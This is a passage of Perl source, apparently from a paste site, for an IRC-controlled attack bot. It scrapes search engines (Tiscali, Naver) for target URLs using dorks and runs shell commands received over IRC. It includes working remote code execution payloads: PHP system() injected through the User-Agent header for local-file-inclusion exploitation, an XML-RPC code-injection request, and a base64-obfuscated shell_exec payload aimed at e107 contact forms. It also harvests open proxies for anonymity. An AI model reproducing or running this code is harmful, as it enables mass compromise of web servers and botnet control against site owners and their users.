  2262.         for ($b=0; $b<=500; $b+=10) {
  2263.         my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
  2264.         my $res = &search_engine_query($search);
  2265.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
  2266.             if ($1 !~ /tiscali/){
  2267.             my $link = $1;
  2268.                 my @grep = &links($link);
  2269.                 push(@list,@grep);
  2270.             }
  2271.         }
  2272.     }
  2273.     return @list;
  2274. }
  2275.  
  2276. sub naver() {
  2277.         my @list;
  2278.         my $key = $_[0];
  2279.         for ($b=1; $b<=500; $b+=10) {
  2280.         my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0&#9001;=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
  2281.         my $res = &search_engine_query($search);
  2282.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  2283.             if ($1 !~ /naver/){
  2284.             my $link = $1;
  2285.                 my @grep = &links($link);
  2286.                 push(@list,@grep);
  2287.             }
  2288.         }
  2289.     }
  2290.     return @list;
  2291. }
  2292.  
  2293.  
  2294. #########################################
  2295.  
  2296. sub clean() {
  2297.     my @cln = ();
  2298.     my %visit = ();
  2299.     foreach my $element (@_) {
  2300.         $element =~ s/\/+/\//g;
  2301.         next if $visit{$element}++;
  2302.         push @cln, $element;
  2303.     }
  2304.     return @cln;
  2305. }
  2306.  
  2307. sub key() {
  2308.     my $dork = $_[0];
  2309.     $dork =~ s/ /\+/g;
  2310.     $dork =~ s/:/\%3A/g;
  2311.     $dork =~ s/\//\%2F/g;
  2312.     $dork =~ s/\?/\%3F/g;
  2313.     $dork =~ s/&/\%26/g;
  2314.     $dork =~ s/\"/\%22/g;
  2315.     $dork =~ s/,/\%2C/g;
  2316.     $dork =~ s/\\/\%5C/g;
  2317.         $dork =~ s/@/\%40/g;
  2318.         $dork =~ s/\[/\%5B/g;
  2319.         $dork =~ s/\]/\%5D/g;
  2320.         $dork =~ s/\?/\%3F/g;
  2321.         $dork =~ s/\=/\%3D/g;
  2322.         $dork =~ s/\|/\%7C/g;
  2323.     return $dork;
  2324. }
  2325.  
  2326. sub links() {
  2327.     my @list;
  2328.     my $link = $_[0];
  2329.     my $host = $_[0];
  2330.     my $hdir = $_[0];
  2331.     $hdir =~ s/(.*)\/[^\/]*$/$1/;
  2332.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2333.     $host .= "/";
  2334.     $link .= "/";
  2335.     $hdir .= "/";
  2336.     $host =~ s/\/\//\//g;
  2337.     $hdir =~ s/\/\//\//g;
  2338.     $link =~ s/\/\//\//g;
  2339.     push(@list,$link,$host,$hdir);
  2340.     return @list;
  2341. }
  2342.  
  2343. sub search_engine_query($) {
  2344.     my $url = $_[0];
  2345.     $url =~ s/http:\/\///;
  2346.     my $host = $url;
  2347.     my $query = $url;
  2348.     my $page  = "";
  2349.     $host =~ s/href=\"?http:\/\///;
  2350.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2351.     $query =~ s/$host//;
  2352.     if ($query eq "") { $query = "/"; }
  2353.         eval {
  2354.             my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  2355.             print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
  2356.             my @pages = <$sock>;
  2357.             $page = "@pages";
  2358.             close($sock);
  2359.         };
  2360.     return $page;
  2361. }
  2362.  
  2363. #########################################
  2364.  
  2365. sub shell() {
  2366.     my $path = $_[0];
  2367.     my $cmd = $_[1];
  2368.     if ($cmd =~ /cd (.*)/) {
  2369.         chdir("$1") || &msg("$path","4,1No such file or directory");
  2370.         return;
  2371.     }
  2372.     elsif ($pid = fork) { waitpid($pid, 0); }
  2373.     else { if (fork) { exit; } else {
  2374.         my @output = `$cmd 2>&1 3>&1`;
  2375.         my $c = 0;
  2376.         foreach my $output (@output) {
  2377.             $c++;
  2378.             chop $output;
  2379.             &msg("$path","$output");
  2380.             if ($c == 5) { $c = 0; sleep 2; }
  2381.         }
  2382.         exit;
  2383.     }}
  2384. }
  2385.  
  2386. sub isAdmin() {
  2387.     my $status = 0;
  2388.     my $nick = $_[0];
  2389.     if ($nick eq $admin) { $status = 1; }
  2390.     return $status;
  2391. }
  2392.  
  2393. sub msg() {
  2394.     return unless $#_ == 1;
  2395.     sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  2396. }
  2397.  
  2398. sub nick() {
  2399.     return unless $#_ == 0;
  2400.     sendraw("NICK $_[0]");
  2401. }
  2402.  
  2403. sub notice() {
  2404.     return unless $#_ == 1;
  2405.     sendraw("NOTICE $_[0] :$_[1]");
  2406. }
  2407.  
  2408. sub sendSMS {
  2409.  
  2410.         my $no = $_[0];
  2411.         my $pesan = $_[1];
  2412.  
  2413.         my $site = "sms.rndc.or.id";
  2414.         my $paths = "/";
  2415.  
  2416.         ############open konrksi#############
  2417.         my $socksms = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$site",PeerPort=>"80");
  2418.  
  2419.         ###############cek apakah koneksi berhasil###############
  2420.         if(!$socksms) {die("gak bisa akses $site port 80\r\n");}
  2421.  
  2422.         #############request data##############
  2423.         print $socksms "GET $paths http/1.1\r\n";
  2424.         print $socksms "Host: $site\r\n";
  2425.         print $socksms "Accept: */*\r\n";
  2426.         print $socksms "User-Agent: Mozilla Firefox\r\n";
  2427.         print $socksms "Connection: Close\r\n";
  2428.         print $socksms "\r\n";
  2429.  
  2430.  
  2431.         #############ambil data,masukan ke dalam ariable array##############
  2432.         my @data = <$socksms>;
  2433.  
  2434.         ##################close socket###################
  2435.         close($socksms);
  2436.  
  2437.         #$data = join("",@data);
  2438.         #print $data;
  2439.  
  2440.                                                                 ########ambil pertanyaan##########
  2441.         #@spertanyaan1 = split("jawab ini : ",$data);
  2442.                 #print @pertanyaan1[1];
  2443.         #@spertanyaan2 = split(" =",@spertanyaan1[1]);
  2444.                 #print @spertanyaan2[0];
  2445.         #@spertanyaan3 = split(" ",@spertanyaan2[0]);
  2446.                 #print "angka1= ".@spertanyaan3[0]."\r\n";
  2447.                 #print "angka2= ".@spertanyaan3[2]."\r\n";
  2448.         #$jawaban = @spertanyaan3[0]+@spertanyaan3[2];
  2449.                 #print "jawaban = $jawaban\r\n";
  2450.  
  2451.  
  2452.  
  2453.                 ###################ambil marguardcode################
  2454.         #@sguard1 = split("name='mathguard_code' value='",$data);
  2455.                 #print @sguard1[1];
  2456.         #@sguard2 = split("' /><br />",@sguard1[1]);
  2457.                 #print @sguard2[0];
  2458.         #$sguard = @sguard2[0];
  2459.  
  2460.         ############devinisikan data yg diperlukan#############
  2461.         $action = "/";
  2462.         $Phonenumbers = $no;
  2463.         $Text = $pesan;
  2464.         #$mathguard_answer = $jawaban;
  2465.         #$mathguard_code = $sguard;
  2466.         $via = "main";
  2467.         $TOMBOL = "Submit";
  2468.  
  2469.         #################buat data yg akan di post##############
  2470. #        $Post = "Phonenumbers=".$Phonenumbers."&Text=".$Text."&mathguard_answer=".$mathguard_answer."&mathguard_code=".$mathguard_code."&TOMBOL=".$TOMBOL;
  2471.         $Post = "sendtoext=".$Phonenumbers."&smstext=".$Text."&socket=".$via."&submit=".$TOMBOL;
  2472.         $panjang = length $Post;
  2473.  
  2474.  
  2475.         ###############kirim sms###############
  2476.         $socksms = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$site",PeerPort=>"80");
  2477.         print $socksms "POST $action http/1.1\r\n";
  2478.         print $socksms "Host: $site\r\n";
  2479.         print $socksms "Accept: */*\r\n";
  2480.         print $socksms "User-Agent: Mozilla Firefox\r\n";
  2481.         print $socksms "Content-type: application/x-www-form-urlencoded\r\n";
  2482.         print $socksms "Content-length: ".$panjang."\r\n";
  2483.         print $socksms "Connection: Close\r\n\r\n";
  2484.         print $socksms $Post;
  2485.  
  2486.         @hasil = <$socksms>;
  2487.         close($socksms);
  2488.  
  2489.         $hasil = join("",@hasil);
  2490.         if($hasil=~ /SMS sent to/){
  2491.                 return 1;
  2492.  
  2493.         }
  2494.         else{
  2495.                 return 0;
  2496.         }
  2497. }
  2498.  
  2499. sub cmdlfi() {
  2500. my $browser = LWP::UserAgent->new;
  2501. my $url  = $_[0];
  2502. my $cmd  = $_[1];
  2503. my $chan = $_[2];
  2504. my $hie = "j13mbut<?system(\"$cmd 2> /dev/stdout\"); ?>j13mbut";
  2505. $browser->agent("$hie");
  2506. $browser->timeout(7);
  2507. $response = $browser->get( $url );
  2508. if ($response->content =~ /j13mbut(.*)j13mbut/s) {
  2509. &msg("$chan","15,1(4@9CMDLFI15)9 $1");
  2510. } else {
  2511. &msg("$chan","15,1(4@9CMDLFI15)4 No Output");
  2512. }
  2513. }
  2514.  
  2515. sub cmdxml() {
  2516. my $jed  = $_[0];
  2517. my $dwa  = $_[1];
  2518. my $chan = $_[2];
  2519. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  2520.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  2521.         $exploit .= "<methodName>test.method</methodName>";
  2522.         $exploit .= "<params><param><value><name>',''));";
  2523.         $exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*</name></value></param></params></methodCall>";
  2524. my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);
  2525. if ($response->content =~ /bamby(.*)solo/s) {
  2526. &msg("$chan","15,1(4@9CMDXML15)9 $1");
  2527. } else {
  2528. &msg("$chan","15,1(4@9CMDXML15)4 No Output");
  2529. }
  2530. }
  2531.  
  2532. sub cmde107() {
  2533. my $path  = $_[0];
  2534. my $code = $_[1];
  2535. my $chan  = $_[2];
  2536. my $codecmd = encode_base64($code);
  2537. my $cmd = 'echo(base64_decode("TWJhSE1lVHo=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("'.$codecmd.'"));';
  2538.     my $req = HTTP::Request->new(POST => $path);
  2539.     $req->content_type('application/x-www-form-urlencoded');
  2540.     $req->content("send-contactus=1&author_name=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D");
  2541.     my $ua = LWP::UserAgent->new(agent => $uagent);
  2542.     $ua->timeout(7);
  2543.     my $res = $ua->request($req);
  2544. my $data = $res->as_string;
  2545. if ( $data =~ /ByroeNet(.*)/ ){
  2546.      $mydata = $1;
  2547. &msg("$chan","15,1(4@9CMDe10715)9 $mydata");
  2548. }
  2549. else { &msg("$chan","15,1(4@9CMDe10715)4 No Output"); }
  2550. }
  2551.  
  2552. sub proxy() {
  2553. my $chan = $_[0];
  2554. my $reqip= "$_[1]";
  2555.         for ($b=0; $b<=5; $b+=1) {
  2556.         my $siteproxy = ("http://www.xroxy.com/proxylist.php?port=&type=Not_transparent&ssl=ssl&country=&latency=3000&reliability=&sort=latency&desc=&pnum=".$b."#table");
  2557.         $Resul = &get_content($siteproxy);
  2558.         print $Resul;
  2559.                 while ($Resul =~ m/proxy&host=(.+?)&port=(.+?)&notes/g) {
  2560.                 my $proip = $1;
  2561.                 my $port  = $2;
  2562.                 my $scansock = IO::Socket::INET->new(PeerAddr => $proip, PeerPort => $port, Proto =>'tcp', Timeout => 2);
  2563.                         if ($scansock && $proip =~ /^$reqip/) {
  2564.                         my $url = 'http://www.cmyip.com/index.php';
  2565.                         my $ua = LWP::UserAgent->new(agent => $uagent);
  2566.                         $ua->timeout(1);
  2567.                         $ENV{HTTP_proxy} = "http://".$proip.":".$port."/";
  2568.                         $ua->env_proxy;
  2569.                         my $req = HTTP::Request->new(GET => $url);
  2570.                         my $res = $ua->request($req)->content;
  2571.                         delete $ENV{HTTP_PROXY};
  2572.                                 if ($res =~ m/Quick and Easy way to SEE my IP address/g) {
  2573.                                 &msg("$chan","15,1(4@9PROXY15)(4@9My-PROXY15) 13Accept $proip:$port ");
  2574.                                 }
  2575.                         }
  2576.                 }
  2577.         }
  2578.         &msg("$chan","15,1(4@9PROXY15)13 Checking xroxy Finished");
  2579.         for ($b=0; $b<=5; $b+=1) {
  2580.         my $siteproxy = ("http://proxies.my-proxy.com/proxy-list-s".$b.".html");
  2581.         $Resul = &get_content($siteproxy);
  2582.         print $Resul;
  2583.                 while ($Resul =~ m/<br>(.+?):(.+?)<br>/g) {
  2584.                 my $proip = $1;
  2585.                 my $port  = $2;
  2586.                 my $scansock = IO::Socket::INET->new(PeerAddr => $proip, PeerPort => $port, Proto =>'tcp', Timeout => 2);
  2587.                         if ($scansock && $proip =~ /^$reqip/) {
  2588.                         my $url = 'http://www.cmyip.com/index.php';
  2589.                         my $ua = LWP::UserAgent->new(agent => $uagent);
  2590.                         $ua->timeout(1);
  2591.                         $ENV{HTTP_proxy} = "http://".$proip.":".$port."/";
  2592.                         $ua->env_proxy;
  2593.                         my $req = HTTP::Request->new(GET => $url);
  2594.                         my $res = $ua->request($req)->content;
  2595.                         delete $ENV{HTTP_PROXY};
  2596.                                 if ($res =~ m/Quick and Easy way to SEE my IP address/g) {
  2597.                                 &msg("$chan","15,1(4@9PROXY15)(4@13My-Proxy15)13Accept $proip:$port ");
  2598.                                 }
  2599.                         }
  2600.                 }
  2601.         }
  2602.         &msg("$chan","15,1(4@9PROXY15)13 Checking my-proxy Finished");
  2603.         for ($b=0; $b<=5; $b+=1) {
  2604.         my $siteproxy = ("http://www.cooleasy.com/?act=list&port=&type=elite&country=&page=".$b);
  2605.         $Resul = &get_content($siteproxy);
  2606.         print $Resul;
  2607.                 while ($Resul =~ m/<td width=170>(.+?)<\/td>/g) {
  2608.                 my $proip = $1;
  2609.                 my @port  = ("80","8080","3128");
  2610.                         foreach my $port (@port) {
  2611.                         my $scansock = IO::Socket::INET->new(PeerAddr => $proip, PeerPort => $port, Proto =>'tcp', Timeout => 2);
  2612.                                 if ($scansock && $proip =~ /^$reqip/) {
  2613.                                 my $url = 'http://www.cmyip.com/index.php';
  2614.                                 my $ua = LWP::UserAgent->new(agent => $uagent);
  2615.                                 $ua->timeout(1);
  2616.                                 $ENV{HTTP_proxy} = "http://".$proip.":".$port."/";
  2617.                                 $ua->env_proxy;
  2618.                                 my $req = HTTP::Request->new(GET => $url);
  2619.                                 my $res = $ua->request($req)->content;
  2620.                                 delete $ENV{HTTP_PROXY};
  2621.                                         if ($res =~ m/Quick and Easy way to SEE my IP address/g) {
  2622.                                         &msg("$chan","15,1(4@9PROXY15)(4@13CoolEasy15) 13Accept $proip:$port ");
  2623.                                         }
  2624.                                 }
  2625.                         }
  2626.                 }
  2627.         }
  2628.         &msg("$chan","9,1(4@9PROXY15)13 Checking cooleasy Finished");
  2629.  }
Add Comment
Please, Sign In to add comment